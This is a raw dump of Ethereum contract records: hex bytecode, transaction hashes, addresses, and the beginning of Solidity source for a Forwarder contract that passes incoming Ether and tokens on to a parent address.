f2a859c474788f042118efaa8062451b5fd5a384d24685bd2d48fb34eb9442d027b46bd407ea777392fa8450ce62776f7225b70aba69ca3621fd99d102e07446c923e8e9c5219a788184a3c656b48e143b09b1e8b6d9f8ebc2948ae75a15d3e7eac56a1c33b9534ec96bc7c66bd0d11e76475bcc8671b951be53996ec53177d6ea72983f844da578466434abf88e4990887f466950aee47e0e1300b674a066b89c3bf6c6dd422896452f522139dec527c5a149d7d3e1213b3b60388b0114b6de97ea6c0bdb7cf9766c104e63e835f515e592b4ccec8259d819354cbd2aac1406030206232f3544b26592b0d559219a7c179578b0a57cbdba7d6c0c98477b4dcdca7e645b2e2fcb4168bb9e66fa9a6b597b110aa8ca9b3d221a65622bbd62928d7c151fb6682c18902b56406f78a50eda66b0da5b55a4fab0ab4405bbff7f23cc858d5505e721a43f32385bfd09af67b0de24173cf045e7eae5a8f1f45b7a2fab76a25fc6bf5b465cbc7775e3f383376ebd7e6fec9d59eaa8d3228a14d95e888d68e6f6092575cd223a558bfdab046e79d3bd07e24acb7e4b99d325b67abb6febd7f1679d5f682944cb76ba7106b34e3322af3656c7f6e19a937541ae92dcdeafd8f5e9b7adf7bcac43820563fed03c90defcb25467cdac20a5bb3935a2aa674a8e77216713a066fdb0c443a691ddb36968c2976347b355b2e873aef9c5a699834d9975ac51ddb8f1cb64f86757d85b588fd740dc21a2e83b5282975e7e76987ac315dfba332bbd3716b54e992d80e846cc32d5bdf1345f197dcff70aead85a7a70caca712b33794c1b8f2a8e52bb69bf4a88f12b9453ac778a1afe9de0c1a94c878a4486bdda94b49acf130b16fbecfab2265399c3e4e8c8d4d8c627dbd6105d347bd6ac99d3d52cd524f3d6a4ced0f6bd5499ebaf56d51160dec1a35f211056ec01420c2b50bfda744753a92c3fa819d74c6c286821d3bf2756b711c75493e51757c5263896967e80c0719298e3adea13a03d1b1d5d18f79e9ef16c247b2c3f31df17d6f168b31218ec7a64a004e5d29914b19f5afca9d24404c2e73157a59d937c74370fa60f779c794ba52b210624737c76cef87dc4660411029e2cc44cfbec7e295bb958e49c378f3bbf216ca947a5c1bb7e6c8b43f620f4912faca411e5543894deea714bfe439cf2ed54db9424b95d419d0f7d700af129ec7bbf6159be1d12fd361649887af069c7aef8e39608eba43711831c5883e523cf1db92d13d918932bd7276822373a2acdb2a5529d6db6f19227d594d7b29268cbbbeacacbd621b6f85387d0d6b7e129394a7df4caa675e73a73046e64c8fa767dee45e7c012a89bed52b84e5f89e5f541f1d304c5e03c3d44dc7cffd8a31d38b408db233133d1aab72521fce9edb9e7b0564e45d9993badb38b7f636cfb1d10febbb1c3dde9a84913370388f753d7b16508f9298dbe0612f273daf37c608333bc9ad6e4c426cacdc345e4fd4279331a153378f333b3e30310f4831cfbfd4d8cae84d0b90a20db3dec1705e40bdefb06e5c58aeedbef8bc77f1a85974bd59c8145ccf7c5c64be3ece3c0bcc4e652ffd7dd2d9ccc139479af94ce189b9845aab9809003ce396b77904cc94898cf9d73fc2c5c1fb75bb0c07ffe67dfe19d90fee0f4aea59c09ea9b0e3512ddb0ff033dfd4b011aaa3b96f5feafd561d33ec1d78cca7beafb40eaf9411ef8f41ae4b478e2f486d17487a5ffdc1d99e06925eaeba179fc7caac3f1be3c41b7729839473bea72403f3c1f3711bb7d7adac86f7f2ef89efb2a66ccda2aed7516501894f1e126a41fe2ca21a6fa334943c3dcffd386ea8b3cc43841b3487ceb0be947ca0eab8f0d9a5629ebc15df056bdea5745954d9dc666b71a1c21d3977d98b529cb91e2f47295ab13659e523d9c3d4112210afb0d7ce78599277b3ba77774229a3ba6883ba2f82394d4de27c9b6604cb781de69172f472c722dcc98b66bb36741d7cb5cf4eb62184a519107c5c2d755f73f5d0e6655fa144c8916f15249f15ce148aa1e14dcf547deb127d60d41d1aa6c376b9639ad53ed1151e16953e8ff051d8254bd193f91babc70f98183c39f66bb86a8c258404fd301f305871c0ab3f5472726a667c542fac95955928ac4fd473973b17c0e559999a336f706cc5bf23827fdc1c37f6eb33fa83fa8595a1da731c4a17158cbf84b002095137b4d48af253f977a9a60993ec499620f24c1beeba1792cd46f83cf4f8093b8a26f4cd966a98122a1f2603b45f2810e602b02407329f8e55b4ee8ef46fae329efdb9b441636261755d9ded8a9a967efb4595a9ba6c06214cbdd935fbe947df86ce7e72a0235af8aed441fb6c08a22a71e6ee77289f190e27afa49ec425c655004ef11b7f28d191b93550ce55d73ce44dd39c48a8714db3f6bbe68baf093892508d1fa59672f75223aee24c5404b2d6fc2bf741f57b07adaab59664884c623bfbaf10d25f2f1ed48941b61156c5cde7af3d91186622f3da35f447810da35814c3ea51e144a647d26056bdd94500e54305cb8311541366d3d67b22d14813d16808ceac1e4743b443cef7ddbfc1e1a5d1fb2ba9b7108c138e18f706657700613705167d54d03f15891f7d931e134d1fbd066e7ffbec6aa63eea61bfc6d335f82baca31eb9d5c1ba83017e0c06bf6b511f7800b8c85fc245db5a6394862a54033d1d6d5ce8f2e84c81da2c8744cd786b0cfa688f5c5739539f74dc58773ec885b693af64fb710d844a30426d44ae57c18f7dcd210c312de6571ac358a883528fc320a8aa67a80256836d24c86cb30f45743d75d1b70ba292761505613665b66b870d21d756ca8f0ad3e172108734a5433a62eb0aa15506879dd69ce0d638630c2d1b7e3637793c78b61e0e71c79a06552eb7c0df58f7910d3690e50ac292197feba07b2c4c614aef192424f63a9c2b5a8d63133ca70e62f4ee3aad045c76e500f1e424b5647b44eb5302f82911db34d8f4aebd3ad2b4b24e11e4a3564e6dc837184e328befb7c238301808d753bdd5bea0d2eb4cd37134bfe30b79703a69cf8212abb6a52d878ccb12e9ac5aea378845b76e36548fada60abc22f48c379b9828401a6c739f1ea2dc101556f5b2c04787ec1cd765a83c16d77831913527667467f50fa64395fa6206ae72a84af68e221f9bd6a015715207517cf4e3c235941113ff65b62cbcb103d025f508b29131481c52e37a724b6a7e75957964a0bd64551612a3d5aecf6c2f1cef2ca1d8348b6e6430249d52a351d26b05296025862171659eaa97c09d11730eefb671db890184bbdea452075437c3c301df16a0b164dfbe726127e1c58ccfa77f15c7ae489c4949d1480cad9847e617d0768a1578b20ebfeea22e7e6e559961bb402efe3a9418cedcf9fed24216e5f1876a04a46adcd19463207cbfb49f5d61f8f4d1906b393069eef0caa9a29fc660cfee1308bf4ac2f6b75ec8b60785564f42c12e23ecced8aaa67541d2a831e059d546eac7424348e8912e56f5236088cd927ac11e6ea7e833d05ec7bf294c92dd011d680fbf1ca2753506539636f539de42c58fd2f06718337c50af649d46bc9ab3afbc28f812a9f86b18a51ebfd4d6118f2589f065e93f1ffec9c64294b6e65bac64baa2178bb33770d47c730c93818f6386ae74f9ebc30bbb7e17bef45f6e1ee070b5a6e7a58d658aedfe44e0af7018f8767467d2abf8de8f1f1473bf1f8cfcd04fb6efa7809ff1889752c17684f371090283bbf5638e937a08d2b1b5d91797771b434d0cd510a9762ab96721b08eb0e3f48d1bd0c767b5408ec1dfd07d86efab2cbf0977e11ba9621e3773cde9a5dbb3fe8e28326ef7d8f12ec73787970add2b4e65015f2a7b4eae7f585eb82fb8cee0ef8643be71ec208a5f64f0cae0829ee64fd283d77a280f7ec0eeaac07de79eb4f6917024277ff7431a9c41842a4a324871658d1c2ae9a0b041e180f9425c65e1c320286ceb421e9541567881637b62ed9f8060ec42ba0333c156cbbb8702a398f982d3f48ccc990c84d781aa08f1980779dbf1576e3b3cc33d4e212f8a4a29b2252540cf02dc8f7f4bc190dd0226a4f3630065a8653b3801766300eefa1599fdaafef047c6730a75f6b1097a415ce1ef8b128726093fa09c4d605bf1a2ddee229746852c2038edb2aa13d030898ff0264aeaf33d8491fff1980c929985a2c40b74675fde35c7138899145b0581afeffcce36189a0f2d65ec7116589cc226474b1e17ce3f4be62d190b940852adf884a6eeabca79501072ef78d7924cb976884b17d2d6e3a7509f5e3a4f8de6cdb8d570e295495267eae6b3b78c3647952a6b121677b98160ad997873d54e94f6cba91a2b25e1bde135b6d7df406189f557da3c6d1a6c475bdee5f6375c4b9ad03e3ab18ec627374671228bcba8818d39ebc5ff1c9cfae681393e97ac543de5826c927d1846a808e7ac54076c4be591d6417d52d09253be5691164692a5535b2bb16543f4bb2cf361be52906c4192199ea3752adf4020cce6c7edee477c942b7c15605baf729b687b82fe342110ba3d686a14d7be22496eefcc12da917a60957298572f86b2d99035e97eaf100f74af8a94355bbc92ac06e9fb0ac0c4fbed321b7c2faf1e550ac98a710019294cf4a8f41fdf4ad74750bb312caa4fa9598fdcf9af3ae33d6423d95fb95f59c6901654dea0772c23562156427e80ad34dd4581b9c8362c497e6a91b3c09c8fdd49bc3153843e690a8de72164319a6070df3e32b370cdf5e5bc9f3577c814eea80ff7c8e4ef73677e021c9835743f9ed30ff9ed141e6a0c0e46e1395b82cea1d91f8f154575a66d258e744d7c85a24a339ca1fb64509e03e4eb9f0aca00b0757e79d7653bc7b87099686adf813a1594354dfee2375bb74cc8305f2960211c2d10043163686a63193eb909c55896cc353e7ece57d751abb4b773f8b175c2b9174eb98f75334dc861d24f4f10eb94d8a6a8035a29ca6431a72b2101bffb629d220381abb9ccb764dfbaa20bf2d42999fa94614b302dbbc3afb1c2022e563eb556b31aa3526feae99c719e68c3aa2cdb1fd8fa66cd5ed59772fdb6d779f16c1a2bea1553d7b6eabc1585734c69a08f6b504264b4f71c86561a9351de7a6f95f2327bdd689cd2eb08379e695f33bcc2ecb138d576bcf80e80d4418bfd4f956f82ea10e6d21b75d93f2dafffb6c8255204cdcd9fd314adca3298a471e7076f9197a8044d6a7b77f0645c2ecd8d0f473645609d51c6772115ab82370a96034fe48e96b1df39e9bcf343e324d375e30b5f074cf3a2fd8aee6d7c747bea22c13759deacdbcaef15305c4b68d886ded2613470045f61597b6ae42f2d98c935dfd70f9f4d83e10be0fac09976f4f8c310d1c1872cc2bbe436a9494c719d17452e5646f6ec2344c374b9ae7bf36b2e220a22bd57304474b15a59ce1c5235fbc0a23e36da0ba0286c26b2db78c562da2398bc93b2a1c757624cc21461799b741fac19d56508189e7699edd5e034fd1bcaf27c09b1558c86cc7529b738ab8de633c2cce07094d21db838935be4b97c260002d4a64ba064169345d2df4b128c8c1f9119d4eeed030d5737e475df3e447baf0ff067718ffa655fcc148bbf5fb45b02d5ea4d57f19f107b141c62f1975f832eef7596b25d7832630f81d589b4042ca9555909af9d19a67edf1bf0e7b8ea8933b8f699529fe5b2d423820d5297803f8d7d39511f3358344a54b04b60f750b67b74f8617073913470c78510d6d8e775be2b99f6453044133a498294ecbe42cbcec9fb78d196b53da1354aa24dd057299ce3da28aeb715b40902ae8f68c91da66f21652c1d8fdf114261d32d8d26f925788a23a1182ae2af8eaf5dc1d0c460711cffc25b4ddeddf2ec8a0f9f3c4aa534c0b88a9ecab87dc5a67e29b79093abb053c5c97fda567b4a7364cd11de16bb4d07b8bb7f653285a3a8975aada8af6fc4d7618b3ff217a1ca2e6ec5f2d92d747fd68cde7eb451d104f73123ed5a5c7b1bdd65d3e4a2872f644641cc12509af94c6b30333da8397a55de380c7d8c17e6f3ac378c1f7a8b1c830a9b5e56aba30bbc0c00435d6a04cceb759d5ce04ddbe8927fd8e2da6bd06e3aca0bbe9a0cd881a2156219207755e98f5b27fca848c8ab3f0fbfc17ea7c936f71a5ef0913a2699ef80f4f91d3997a4cefd53c97034785d4bab1f564913cbdc9584bbc1556e134e783425f77bd6b8f70f63aa720a4f1f5b1cbe4cf2c0542a10d63a491a2753c2c37459e48411d17b0aa0cfe7739ae3578d128ae1c2324d3289d4fb9bf36c48aa9565d7762749782df04e86b91154eaa5f84d32a1a3fc436bfac619b83b53b87ad480fec2a6a5df9518d99dde003164e9d2377c01f192a1f0dc831a26b7da1a0f871c33c4af32eacc3ceafb57ca381c7668c7f67c765a5022bc671557b29ea7617f75d968b8928c09df30e2fd632bf3003188a79d5f678d3376950683b6ba7665aecc8eeffc6a381f2c13a06cc596b2d9823f826bc49923f06558b69a83207d80e7e19c681f083687bd908754eac780bde88e9d760e026056a8979fdd700d49e983a484afc310f3d633e049cae0e565ab71516ca2da60dfc36672059ea730d7f0dbb30652d7f404c76d320519552d5f98d21b68744ce5a3329dc532a93d3365f0aac7bb10e12e78d85c280e439d8c8be7bd0e0ef8b0f26020d92333fd5a81199836a12948ee6a91c39c425feaafe98f864e7e8fda4f19185829c545b6c4e2b4547958c95475ab3717b6bb6ec8b64a2eee847f906109f5c45073322be26d07106fb6ecb0ff8df6c318b4da10bc819db57b809cfcadbb10951b3b4a5097c938822d698dec461abc5b0dcae1812b7892d95d1749fc71520469e848cdfb2c499513c48464c040c6c4a0d8b09a564d4910fa8b73de2a79c791f33888c13601c35293de201ed81f023b2d5379382ab79b8236a71722ad2b850130c7718b736684af6cb10ea4385ce95d3afb4bc57a116e86462636bb3ed993d3eb8f04e1c212263c0cb659fadb196814f06f24214f2a182d2fd6340d456c83a35585415c9fd823e963a89f4c314cc8ce6d914077d579a1bac04dbd1261f9cced092de686ec4f78a5992f0457b0141324418f36af9b74ea7b17ad9529f12e5ee574f45d28019dd59407044975cc1f451b33683f3dcb282f7a94003783e08651505057330b5b79c5ac0879c9ae0b491597fc343fd728112eecb7263071a4c7110b16fc5db2a7d139d8f03e8ca83f383fbf4ebb952c82a21cd613a4729b37579a8112cef6289d081010b2e40618a28ae62e47adedab4f732e592be2238d672e8e4d1dc12faf7db5794acafe4cadd85306e48fbc33913fc74fcccc6ef8c5830660da984e32516575493477ec5e38dba1f0711e4277028c92d75db3db9753fb5b28489482b0f2a5142bd712e95a045e71bf123328a336adc81a67dde79386ccd424ec1a22ca2b583aa6b27ea439d984247cb761617a46ebaf1324972a5e7bdc0d1b4ff59eb85b0cab8cbfebbc574cc0b977f01dcd250adc1e3a5048ec65cf1c0bb2d46feda31bbf16b38571cf532dc14bc4cfc55e31cfe7eb4eda6961a3cc730affb469b3a31f5b71f386912b3095d25f7934035cddca406558f1cd95ac7ec477523a1104af23c1eb93142049c1dbfc91e9c1a717137df34affc5e4659c49ee2c0dffc8395ba3896ba61a617c4ab2480b31bd99f2bbd89ff8a60c107d29e2303214283c34f682a77f527c78e7faac6788e528802669824ec3571fc9afa03b63b6017850f09196a1c93a264040fa246070385c88a3cf82a716cd7afed3be909dfd806fecb397bd9fe2f3f311f220c5632b0447591b452759ac462b67c34899fad2d7cccc353d48b15c76d61482cc4a68f7f13ce60a66e60fe06b1a74b11a7446131c1dd0cc37442d8ad0066217bf0ba1d940e8cac0553da90d47c9536d33e102cd5393bfc02718c354c2d3aa1a57931288242af3848f66164c67f68cb62fa0531a65cb0b08a59fa230193be352ca86f1d2fb698667afbfd7150111f098cb2f418557f72169543e724b5d0b41c9307b5e4f4a2f7b7378e54229c462527b5856c3030c66ab639463cc235b4ea069ce83f66b94d2047a8802ab0570081644810738cee4f4368d7a4b9716abdb5c9399aa5d761c148296a70611f7544f4d8822b9c58426ea6e77aa11474e6434b618ec276ddd074c3f2dd50f2955de1febb425cef910522bad660727853ab2df9733c1ae0d0b301de94c6fe97c7ad417ba2923a5cb764fad6e0201826df7535a2e7633fadc4037ea2c940a6f7e94904160368e94379294675994cfba143f8894558d9c4f5f5caa9bf332f667609ea3fd43c8cfd012710572997871bc827291e6bd46743ef3a610035061be8b22fd5685633e14a57b7deb6cb8e8271c641e17e78115d3681c27df0db76d54985905e523369198caf99a308ab76d07255eeb083d94c739d4dacfa6ec57947ce72b9f43595a951cc37652fff94a31b74bcd8e5195804b7e0e710df370b4bc4872440b9cba4944ae4a3fd811ef7445db5c82dadfb729ec435223029a6a87134a42732d5a2a475299b9bd1d338328bd2ff5dac7b3f223152517ca931ca9be024e9e462aad4039cb29a8f9a4c4d0451277148029cefeadf2dca57e7fd789dbb67a0ace7baecc08e596c774528ecc7e0d98299c86ac6eeda1c87ac9f476496dcfddb5ecc8c93ca36ebc4d79d8a538e28352eaa956a2c325ae4db9c1a382c84f9973fb0e9c49a35d476cd387cfba4d7ed2471a5d5aeb3c4a5b7d4aab573bbebf8e121e3718b394961806245a17f971aeba8d6fe1875ceaa54d15579ec6ac3b689bac00173e8609fc1410b4552175306172d490bf45d9a3f4cfcee9e47b7effd9ca2b6ad400b04507b2750eb975237844bb7018e095413b7fc320fbfcbac3bee3ef6898daa34fde635c85f342ffa3587ffe57c778a806dbdf313e9c4838bff0f72822421bf4fe933e9c2393a02c47adf33a064b2944509333447d2c582bc94abb570782ccc235db09e664f9e58ea86db904e678bc85b43a6317c77daae4e4826639e7a46dbc876b56dea300f5629b40864c2b76ad2225110d6627396d866d4d4e1f7ad6a26d7e34f714f20a89e4f9430c8f5d8af594a0151a71ee41aa4d1b944e45ead09888e781f9f66b09f08f0c3b9dd170a8a8b86b24616d30dcf63e3c8e7f5c281a326ed56777ef209265488e8db82b2379b6a77906083c2afeb6ee384cb6fe83eed7a5b8419390b49d3edfa37dfdd6ab6726986736920283b479488f3bac93b984abddc18da737ce1554eebbaf1c14c0d012127cee7c209ac25ccf833377be9c437ee1e30bb759483df6ee133ccb726e24676e8482a0ee562e69169165c28ed60485c77020adee04667004e9c0041990b8fe52ab6fc58397bc56daa022cb6a516af0512b0e2e4b6d73f9d7273e3bb09e337a9ef86a794ecbbc78f4096c8ff85089ac788ea9c6f62841e2e852782c5d483412075dc8c04c80b82c3709749747ade87762a66e5b9ee958ecf4a1bde49be569e47e494c968a982cbea09c6f2156d27854f6d0d6068f191457800d9d36e817b5895714bdee81b031af7eb9bf1e2dbd391d2b7ef926d449597c405b617f519924ba38bd9018c196585e11fb739299904da401a31009bcfa9de290225e9b0d09200fd6dcc01ea3045ed164d1a2e5e3fc7851773d56e55cf62c0ede7a27c9356f91bb4651a6fe48c4153537f1733ff20d2fd6c5178f5124c101c4ced02ba0012ff65324d9600fa3a521a8345843213fe577d509d2cb47343fad51349d043f50f897b378c44174d7b78b27f091291904287ec42058065fa57634850034b378df6d7bc1837b54bbc4c0a3bda06ecb20617f486a23688888bed7fcec2cf450ebd451b07ee08c111007e2d164f6154e540225cfe06cdcdee1c85ea47b9ebfb94dfe05d10832e038ee82b8e1d03c71fbd4dfdd21faa095a2a059ceeb4ee83fc1d205afaf0e52b187d07b41d33540e3f675203e80e671a1f8418a149180b20de6399f1c2dc502ca0fbd2ec53d88a620887a44cf8b1e1d92098ae1dccb6e012d92222819182de600959103f41099cd50a2e96901229708da9054e75135d33f81c72368967d381011c22a971cba44792743b30811b64060cacd97f46a0db384f7abc490c2c217adc9e0a90990226b978c6b43f7247d57d897b42eadee2667910c113f91c1ed9bf7d21b20476b2fa470d75fa8c04aef3b5feb00892a22b98fcfdb8f21824112c638f06a2b80351640201e5f7c8e6c6cb08e691ce0ad5d401a504442d45e3a1a41ea74801f1e5f5a0e0fa16841a482fdad146f2cc90eb6e1771ef21ed16815aa968e097c86893c25dd742f41168f397a2ecbcb36a99520eb62893a60871917206909ff297e707f557e38b0c01b262174e00dbdbc3c1c7b406627404e7e80a881ecf462466b9be0d3475dd2126167ab369eff54bcd697200e34c29af3ad4de13b97a5a8979397113acf1b09cf93b73c7609325305b25b52b0d75b008823643736b49b21b4ab59bcf7aea06feba3a64ba7f7bf64ed0a58452051cf0e5bee9b649fd67a6d17574b1e8f5f154f0665709f94685f7eb238e91cdf03b23ca6d33d7bd02ea3f0de9ead96b6bb2a389d6e82adcea4e0110cbcbea9b3be00c9be0967a615f12998a2be828b9e08e849f4025f8df28d48eebdd99fbe4ba23cf0d0e9daa2f695937db65eb611a30b906c73696715883dbd856379635ef5585e4ba08bfd803fb19045463d6479a6c17ebb6773c3c273113bfcee165da626f32c61b53780632d67d37cc263a7fd88ef80feac9a73fb1ee8be5e46c653b3c79ca0960b197c6bd14586afbbbef51c2ffd168e56f06d1b501933d0590d129b2bad5a4c1daf58e09bfd0e6c82f5ba5b6184b3aba4ac20fc7014bc368cef5a43c978fad11c1adf69e7bbdc1293ed0746930924abe9e14d9f27732fbc7e418f57544f16d908df3cc737547fa53d9f746186b7d29e544d5aee861b1b9d9fecc511ecc5fafa70cedecbb5f2ec20d9b75f6dabc6ebfab364ff0209c37f9243d392a0af938311ab9540d05df7f179259223e7f063f7ded6bf0dc58f0aa98e82c70fb0c54dfc8b1f27479cdcc61ca74f9ce2812de7909eb44fd4974e9c164a9cf67b7d46f0d37eafd7ef71f31e3fdedbbae07d27096a3afdd39cd78d90fca159e2888ffaa0c9fa8f9ba49f465985e6552073b93f2d9a5e51b5805af4e44488075a76819af7b6422ed39c2eb4920eb45a06b5dafa69bd57687d74687d066a7df5d3e6aed0c6eb47957feea9c368cafd519449a9524be9261553f44a51540c99927c2a941936505db77de9b2326ece1af3e1a9392d3fb40f90d74dc3797772c7de2e3933e626e1aa4d81d757644e4c3886a018a6e0cfc4093b3ef9df7bd9aace5caa2e818f4681cdc39d6f3fbecdc21d448db1965b713e7c19af115a8ebd8cec150cee80f683398694201be518ba21255dec40d7c43c19c43a46af924f5ec782589ce772ddf24dee75e36ad250a12c09107d8811f2c9d08d3311432cb0d7606290142046319ac073103ff1b07e2a4c6c0982f31efd9f63a1947fc6e2cffd8489f3cf5808ff8ac55041860c9a1f5c954a7e3ed8d9b8eb1d162af21942eedc9b2fa451ab468c6f2c52364fa4b07210e1c6478d07801f4015fda9bf2fa3ab4f4d519cf4abc6fe57bcf36fc2af598f5fa73529b138f37c103f2225bbbf3e2058a6949839de67a634c416d1d9a1dd61b3d7819dd25566f98247bb3f34c5abfc044af415a997f52ab38d764c9255cd2b30689d67607d5051fdf0607228e14c2d6e02cfb14c56a00c6ff09f382326b810d9f112125b60db7210803d32d18324d58ae5051e77d64f4a158e2c4ba0885fc5941a8c2bfd6bef257bbe4163ae0fc5b89472d2cb1bb43ff75e4affbef7b2d72651c61276d6ed3183ecce0516a814b274836595ff254196d216c863af3a68781b879153ea8f65d576f936965d8301454cc59a2e4c0c643889a15a4d71c25baa2b464ccd8e634d48eca98cebcddcb764eba2dd50991493a214bfb566f9c3427eb4e034b70c84b971466c4d15bfe1eeef486aecd018785b9069251cbe3f359626d0dfb31e0e2c50b4b9151eb26dfc1c2fe9c710eb7feebddc8bf19bffa7bd97458202bfe10b800ff99ff75e72f794de2a539d9fd49460a9f9485fca0a425ffb2eea4d73d9f50187df28a5d11bab5bc22b862e4726175b2ba00455f9408aa376f6d4ae16aaa873a40e0f7bfb2a227e4561bca788497e81a0406749cf99e12a322a54ec722b9e6fd28972fbcd7c9f1c798bd4ba72ea0e0f9a7ff9563e72f856aaecbee1eb3433a7444945cbd126f167daaf39457514b352f19bf6f40152a5484b2a3dcbb562ddb97f7e9b741ff99fb04a73164e9b1fe1f68c5a5f2064aaaf7121c1eb1f4f6351e16dc32c7a21f7210d7a5b1d4ae5cb4f1b63763c0d218225e9186dc20c4f9b4a6b4e5c5bce3fb384f83c80391afbe6ec091443eba7711cb16deb7bd65c2594d8f1abd03fcec47b9bef6355441a3b3ee9ed2932d6020cd3922f17a5ecaba5fea8d8b15fd0b6d700d39f2c632912fea1e62f410d9ee1f290c680d0fa9047fb6dc183caadeb93671d06ea5d656cd8f7634d00a262dc63aef06c8194945a082aa9922bf0cc0719999d3a9b5aaa3a47b2f7bbda5dcdadc5d5cd08b7bc27ad7614de9803ad7f577d0f34e1a70c5cff4c2b9218e26f46b5f73b411203c4b04c052b9bd25823f43ed3a1eff7c19960a6b127e40b53b441c1d5166eb0927eb7a0f770f62acf65db5d46f26d7069ecf323dcd4c6779ebab2315fa3d1e6a3d35e23495a63c981be966172d59d65e3cd556f700bd4b65fa9d70604f3e8121eaa46b79cf0db8ca6c48e37278357fbe847dbbcc5101c1d53fb89e8ff5dd7dabfd735f4675d37ffaa6be15f752dfdafbabe430bb227b71fe0b2de5276cb97c1c57f7aa2da39f0e9b5e8ecbf3892fb10d9220774e9f71820e0f3fc3ea54002056a527feea9ce42837bc192a120c5646589a5c6e89dd2c553262f0c9c1f9767cb98d349d3e79d511893d1df88a1869ae5dad86d938cdfc4efd72a67d249aee974fd91263ce3840779fd18ad65892694c9c2336a8eb9f13fc47c821a9228d46f1d4ac743b3fa8d0ed0645cee6a10f75b887d6309030fc9164d4802b4c1e3fc7fd73534bfe785fa0ad7504396f7bcd05c1fa2343feffd89d2de9136badff7fe44e9ee5be3a44a098180e99f3044d21bd76e4fab1e78cfe9129280b87724ea85b4eaad0c67304fee6e4d9488ad6284148fa19d91ecab7876e3ccd842298d7957f662d267f4ab77037f87befc3c24a17037d9e1dc9030b1d4741efefe9c9402d2416803dad699ae0132e007c069e922b45704b0eb3ffeebdfffc30f132cf994c7dbdf86f15fdffee3b5b57ef2bfa5e3b0c5f5f01fcf4fe35a6ff538fc2dcd5f0dbcfcfd9fbf66f03eff0acba51ecabffd71e6495b6f7f8cd356f76f1f7ffcd9c712afdbdfffe8d73fea3f9f99c62efeb38b3ffa31cbff36e4f192afdb1f435e975532fe5f7aecc7e78f74a9d7e98f3c2bf3f5ffb861aaaffced31cffefa97a3ce4f7abcfef157e82fd05fbed03fdb5fc1fff13f01
1
19,493,250
e2eb4cc59ea56e90e2ae6e892fa921f87397cde183ff58dea58ce197455926f4
18d9cbe2658a048d740d2dd8e82c54fd03afff7773f5a77af484b657e55da7a2
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
eb27fddab6aa17baad967e11f5829bce318ce8ce
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,253
6b060056a710939a61a04a43c8ab237593339bde071cf22059ebd1343c3bdb21
b5961916b08ae38c6cfee53cbe2f816acaa42db5019fdec56bddabc204f068c8
41ed843a086f44b8cb23decc8170c132bc257874
29ef46035e9fa3d570c598d3266424ca11413b0c
e7bffa5592fd0d7bf01fb849688551abd2a92ea9
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The 